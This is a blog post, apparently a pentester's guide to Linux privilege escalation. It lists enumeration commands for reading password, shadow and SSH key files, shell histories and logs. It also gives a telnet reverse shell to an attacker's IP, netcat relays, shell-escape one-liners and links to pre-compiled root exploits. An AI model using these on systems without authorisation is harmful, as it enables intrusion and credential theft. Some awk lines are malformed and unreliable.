

• [RSS](#)

▼

- [Blog](#)
- [Archives](#)
- [Scripts](#)
- [Videos](#)

Basic Linux Privilege Escalation

Before starting, I would like to point out - **I'm no expert**. As far as I know, there isn't a "magic" answer, in this huge area. This is simply my finding, typed up, to be shared (*my [starting point](#)*). Below is a mixture of commands to do the same thing, to look at things in a different place or just a different light. I know there more "things" to look for. It's just a **basic & rough guide**. Not every command will work for each system as Linux varies so much. "It" will not jump off the screen - you've to hunt for that "*little thing*" as "*the devil is in the detail*".

Enumeration is the key.

(Linux) privilege escalation is all about:

- Collect - **Enumeration**, *more enumeration and some more enumeration*.
- Process - *Sort through data, analyse and prioritisation*.
- Search - *Know what to search for and where to find the exploit code*.
- Adapt - **Customize** the exploit, so it fits. *Not every exploit work for every system "out of the box"*.
- Try - *Get ready for (lots of) trial and error*.

Operating System

What's the distribution type? *What version?*

```
1 cat /etc/issue
2 cat /etc/*-release
3 cat /etc/lsb-release      # Debian based
4 cat /etc/redhat-release   # Redhat based
```

What's the kernel version? *Is it 64-bit?*

```
1 cat /proc/version
2 uname -a
3 uname -mrs
4 rpm -q kernel
5 dmesg | grep Linux
6 ls /boot | grep vmlinuz-
```

What can be learnt from the environmental variables?

```
1 cat /etc/profile
2 cat /etc/bashrc
3 cat ~/.bash_profile
4 cat ~/.bashrc
5 cat ~/.bash_logout
6 env
7 set
```

Is there a printer?

```
1 lpstat -a
```

Applications & Services

What services are running? *Which service has which user privilege?*

```
1 ps aux
2 ps -ef
3 top
4 cat /etc/services
```

Which service(s) are been running by root? *Of these services, which are vulnerable - it's worth a double check!*

```
1 ps aux | grep root
2 ps -ef | grep root
```

What applications are installed? *What version are they? Are they currently running?*

```
1 ls -alh /usr/bin/
2 ls -alh /sbin/
3 dpkg -l
4 rpm -qa
5 ls -alh /var/cache/apt/archives0
6 ls -alh /var/cache/yum/
```

Any of the service(s) settings misconfigured? *Are any (vulnerable) plugins attached?*

```
1 cat /etc/syslog.conf
2 cat /etc/ftp.conf
3 cat /etc/lighttpd.conf
4 cat /etc/cups/cupsd.conf
5 cat /etc/inetd.conf
6 cat /etc/apache2/apache2.conf
7 cat /etc/my.conf
8 cat /etc/httpd/conf/httpd.conf
9 cat /opt/lamp/etc/httpd.conf
10 ls -aRl /etc/ | awk '$1 ~ /^.*r.*'
```

What jobs are scheduled?

```
1 crontab -l
2 ls -alh /var/spool/cron
3 ls -al /etc/ | grep cron
4 ls -al /etc/cron*
5 cat /etc/cron*
6 cat /etc/at.allow
7 cat /etc/at.deny
8 cat /etc/cron.allow
9 cat /etc/cron.deny
10 cat /etc/crontab
11 cat /etc/anacrontab
12 cat /var/spool/cron/crontabs/root
```

Any plain text usernames and/or passwords?

```
1 grep -i user [filename]
2 grep -i pass [filename]
3 grep -C 5 "password" [filename]
4 find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla
```

Communications & Networking

What NIC(s) does the system have? *Is it connected to another network?*

```
1 /sbin/ifconfig -a
2 cat /etc/network/interfaces
3 cat /etc/sysconfig/network
```

What are the network configuration settings? *What can you find out about this network? DHCP server? DNS server? Gateway?*

```
1 cat /etc/resolv.conf
2 cat /etc/sysconfig/network
3 cat /etc/networks
4 iptables -L
5 hostname
6 dnsdomainname
```

What other users & hosts are communicating with the system?

```
1 lsof -i
2 lsof -i :80
3 grep 80 /etc/services
4 netstat -antup
5 netstat -antpx
6 netstat -tulpn
7 chkconfig --list
8 chkconfig --list | grep 3:on
9 last
10 w
```

Whats cached? *IP and/or MAC addresses*

```
1 arp -e
2 route
3 /sbin/route -nee
```

Is packet sniffing possible? What can be seen? *Listen to live traffic*

```
1 tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.5.5.252 21
```

Note: tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]

Have you got a shell? *Can you interact with the system?*

```
1 nc -lvp 4444 # Attacker. Input (Commands)
2 nc -lvp 4445 # Attacker. Output (Results)
3 telnet [attackers ip] 44444 | /bin/sh | [local ip] 44445 # On the targets system. Use the attackers IP!
```

Note: <http://lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/>

Is port forwarding possible? *Redirect and interact with traffic from another view*

Note: <http://www.boutell.com/rinetd/>

Note: <http://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch>

Note: http://downloadcenter.mcafee.com/products/tools/foundationstone/pipe2_1.zip

Note: FPipe.exe -l [local port] -r [remote port] -s [local port] [local IP]

```
1 FPipe.exe -l 80 -r 80 -s 80 192.168.1.7
```

Note: ssh -L[R] [local port]:[remote ip]:[remote port] [local user]@[local ip]

```
1 ssh -L 8080:127.0.0.1:80 root@192.168.1.7 # Local Port
2 ssh -R 8080:127.0.0.1:80 root@192.168.1.7 # Remote Port
```

Note: mknod backpipe p ; nc -l -p [remote port] < backpipe | nc [local IP] [local port] > backpipe

```
1 mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.5.5.151 80 >backpipe # Port Relay
2 mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe # Proxy (Port 80 to 8080)
3 mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe # Proxy monitor (Port 80 to 8080)
```

Is tunnelling possible? *Send commands locally, remotely*

```
1 ssh -D 127.0.0.1:9050 -N [username]@[ip]
2 proxychains ifconfig
```

Confidential Information & Users

Who are you? Who is logged in? Who has been logged in? Who else is there? Who can do what?

```
1 id
2 who
3 w
4 last
5 cat /etc/passwd | cut -d: -f1 # List of users
6 grep -v -E "nologin|passwd" /etc/passwd | awk -F: '{ $3 == 0 { print $1 } }' # List of super users
7 awk -F: '{ $3 == "0" } { print $1 }' /etc/passwd # List of super users
8 cat /etc/sudoers
9 sudo -l
```

What sensitive files can be found?

```
1 cat /etc/passwd
2 cat /etc/group
3 cat /etc/shadow
4 ls -alh /var/mail/
```

Anything "interesting" in the home directorie(s)? *If it's possible to access*

```
1 ls -ahlR /root/
2 ls -ahlR /home/
```

Are there any passwords in; scripts, databases, configuration files or log files? *Default paths and locations for passwords*

```
1 cat /var/apache2/config.inc
2 cat /var/lib/mysql/mysql/user.MYD
3 cat /root/anaconda-ks.cfg
```

What has the user being doing? *Is there any password in plain text? What have they been editing?*

```
1 cat ~/.bash_history
2 cat ~/.nano_history
3 cat ~/.atftp_history
4 cat ~/.mysql_history
5 cat ~/.php_history
```

What user information can be found?

```
1 cat ~/.bashrc
2 cat ~/.profile
3 cat /var/mail/root
4 cat /var/spool/mail/root
```

Can private-key information be found?

```
1 cat ~/.ssh/authorized_keys
2 cat ~/.ssh/identity.pub
3 cat ~/.ssh/identity
4 cat ~/.ssh/id_rsa.pub
5 cat ~/.ssh/id_rsa
6 cat ~/.ssh/id_dsa.pub
7 cat ~/.ssh/id_dsa
8 cat /etc/ssh/ssh_config
9 cat /etc/ssh/sshd_config
10 cat /etc/ssh/ssh_host_dsa_key.pub
11 cat /etc/ssh/ssh_host_dsa_key
12 cat /etc/ssh/ssh_host_rsa_key.pub
13 cat /etc/ssh/ssh_host_rsa_key
14 cat /etc/ssh/ssh_host_key.pub
15 cat /etc/ssh/ssh_host_key
```

File Systems**Which configuration files can be written in /etc/? Able to reconfigure a service?**

```
1 ls -aRl /etc/ | awk ' $1 ~ /^[^.*,*/' 2>/dev/null # Anyone
2 ls -aRl /etc/ | awk ' $1 ~ /^[^..w/' 2>/dev/null # Owner
3 ls -aRl /etc/ | awk ' $1 ~ /^[^....w/' 2>/dev/null # Group
4 ls -aRl /etc/ | awk ' $1 ~ /w.$/' 2>/dev/null # Other
5
6 find /etc/ -readable -type f 2>/dev/null # Anyone
7 find /etc/ -readable -type f -maxdepth 1 2>/dev/null # Anyone
```

What can be found in /var/ ?

```
1 ls -alh /var/log
2 ls -alh /var/mail
3 ls -alh /var/spool
4 ls -alh /var/spool/lpd
5 ls -alh /var/lib/pgsql
6 ls -alh /var/lib/mysql
7 cat /var/lib/dhcp3/dhclient.leases
```

Any settings/files (hidden) on website? Any settings file with database information?

```
1 ls -alhR /var/www/
2 ls -alhR /srv/www/htdocs/
3 ls -alhR /usr/local/www/apache22/data/
4 ls -alhR /opt/lampp/htdocs/
5 ls -alhR /var/www/html/
```

Is there anything in the log file(s) (Could help with "Local File Includes")

```
1 cat /etc/httpd/logs/access_log
2 cat /etc/httpd/logs/access_log
3 cat /etc/httpd/logs/error_log
4 cat /etc/httpd/logs/error_log
5 cat /var/log/apache2/access_log
6 cat /var/log/apache2/access_log
7 cat /var/log/apache2/error_log
8 cat /var/log/apache2/error_log
9 cat /var/log/apache/access_log
10 cat /var/log/apache/access_log
11 cat /var/log/auth.log
12 cat /var/log/chronos.log
13 cat /var/log/cups/error_log
14 cat /var/log/dpkg.log
15 cat /var/log/faillog
16 cat /var/log/httpd/access_log
17 cat /var/log/httpd/access_log
18 cat /var/log/httpd/error_log
19 cat /var/log/httpd/error_log
20 cat /var/log/lastlog
21 cat /var/log/lighttpd/access_log
22 cat /var/log/lighttpd/error_log
23 cat /var/log/lighttpd/lighttpd.access.log
24 cat /var/log/lighttpd/lighttpd.error.log
25 cat /var/log/messages
26 cat /var/log/secure
27 cat /var/log/syslog
28 cat /var/log/wtmp
29 cat /var/log/xferlog
30 cat /var/log/yum.log
31 cat /var/run/utmp
32 cat /var/webmin/miniserv.log
33 cat /var/www/logs/access_log
34 cat /var/www/logs/access_log
35 ls -alh /var/lib/dhcp3/
36 ls -alh /var/log/postgresql/
37 ls -alh /var/log/proftpd/
38 ls -alh /var/log/samba/
39
40 Note: auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp
```

Note: <http://www.thegeekstuff.com/2011/08/linux-var-log-files/>

If commands are limited, you break out of the "jail" shell?

```
1 python -c 'import pty;pty.spawn("/bin/bash")'
2 echo os.system('/bin/bash')
3 /bin/sh -i
```

How are file-systems mounted?

```
1 mount
2 df -h
```

Are there any unmounted file-systems?

```
1 cat /etc/fstab
```

What "Advanced Linux File Permissions" are used? Sticky bits, SUID & GUID

```
1 find / -perm -1000 -type d 2>/dev/null # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here.
2 find / -perm -g+s -type f 2>/dev/null # SGID (chmod 2000) - run as the group, not the user who started it.
3 find / -perm -u+s -type f 2>/dev/null # SUID (chmod 4000) - run as the owner, not the user who started it.
4
5 find / -perm -g+s -o -perm -u+s -type f 2>/dev/null # SGID or SUID
6 for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search)
7
8 # find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any errors (e.g. permission denied)
9 find / -perm -g+s -o -perm -4000 -l -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null
```

Where can written to and executed from? A few 'common' places: /tmp, /var/tmp, /dev/shm

```

1 find / -writable -type d 2>/dev/null # world-writable folders
2 find / -perm -222 -type d 2>/dev/null # world-writable folders
3 find / -perm -o w -type d 2>/dev/null # world-writable folders
4
5 find / -perm -o x -type d 2>/dev/null # world-executable folders
6
7 find / \( -perm -o w -perm -o x \) -type d 2>/dev/null # world-writable & executable folders

```

Any "problem" files? *World-writable, "nobody" files*

```

1 find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print # world-writable files
2 find /dir -xdev \( -nouser -o -nogroup \) -print # Noowner files

```

Preparation & Finding Exploit Code

What development tools/languages are installed/supported?

```

1 find / -name perl*
2 find / -name python*
3 find / -name gcc*
4 find / -name cc

```

How can files be uploaded?

```

1 find / -name wget
2 find / -name nc*
3 find / -name netcat*
4 find / -name tftp*
5 find / -name ftp

```

Finding exploit code

<http://www.exploit-db.com>

<http://1337day.com>

<http://www.securiteam.com>

<http://www.securityfocus.com>

<http://www.exploitsearch.net>

<http://metasploit.com/modules/>

<http://securityreason.com>

<http://seclists.org/fulldisclosure/>

<http://www.google.com>

Finding more information regarding the exploit

<http://www.cvedetails.com>

[http://packetstormsecurity.org/files/cve/\[CVE\]](http://packetstormsecurity.org/files/cve/[CVE])

[http://cve.mitre.org/cgi-bin/cvename.cgi?name=\[CVE\]](http://cve.mitre.org/cgi-bin/cvename.cgi?name=[CVE])

[http://www.vulnview.com/cve-details.php?cvename=\[CVE\]](http://www.vulnview.com/cve-details.php?cvename=[CVE])

(Quick) "Common" exploits. *Warning. Pre-compiled binaries files. Use at your own risk*

<http://web.archive.org/web/20111118031158/http://tarantula.by.ru/localroot/>

<http://www.kecepatan.66ghz.com/file/local-root-exploit-priv9/>

Mitigations

Is any of the above information easy to find?

Try doing it! Setup a cron job which automates script(s) and/or 3rd party products

Is the system fully patched?

Kernel, operating system, all applications, their plugins and web services

```

1 apt-get update && apt-get upgrade
2 yum update

```

Are services running with the minimum level of privileges required?

For example, do you need to run MySQL as root?

Scripts *Can any of this be automated?!*

<http://pentestmonkey.net/tools/unix-privesc-check/>

<http://labs.portcullis.co.uk/application/enum4linux/>

<http://bastille-linux.sourceforge.net>

Other (quick) guides & Links

Enumeration

<http://www.0daysecurity.com/penetration-testing/enumeration.html>

<http://www.microloft.co.uk/hacking/hacking3.htm>

Misc

<http://jon.oberheide.org/files/stackjacking-infiltrate11.pdf>

http://pentest.cryptocity.net/files/operations/2009/post_exploitation_fall09.pdf

<http://insidetrust.blogspot.com/2011/04/quick-guide-to-linux-privilege.html>

Posted by g0tmi1k Aug 2nd, 2011 12:00 am [bypassing](#), [commands](#), [privilege escalation](#)

« [Pentesting With BackTrack \(PWB\) + Offensive Security Certified Professional \(OSCP\) De-ICE.net v1.2a \(1.20a\) \[Level 1 - Disk 3 - Version A\]](#) »



Recent Posts

- [DYWA - Brute Force \(High Level\) - Anti-CSRF Tokens](#)
- [DYWA - Brute Force \(Medium Level\) - Time Delay](#)

- [DVWA - Brute Force \(Low Level\) - HTTP GET Form \(Hydra, Patator, Burp\)](#)
- [DVWA - Main Login Page - Brute Force HTTP POST Form With CSRF Tokens](#)
- [Damn Vulnerable Web Application \(DVWA\)](#)
- [Offensive Security Wireless Attacks \(WiFi\) + Offensive Security Wireless \(OSWP\)](#)
- [Cracking the Perimeter \(CTP\) + Offensive Security Certified Expert \(OSCE\)](#)
- [pWnOS 2 \(PHP Web Application\)](#)
- [pWnOS 2 \(SQL Injection\)](#)
- [211TR - Scene 1](#)
- [Stripe CTF 2.0 \(Web Edition\)](#)
- [Kioptrix - Level 4 \(Local File Inclusion\)](#)
- [Kioptrix - Level 4 \(SQL Injection\)](#)
- [Kioptrix - Level 4 \(Limited Shell\)](#)
- [Hackademic RTB2](#)

Copyright © 2009-2016 g0tmilk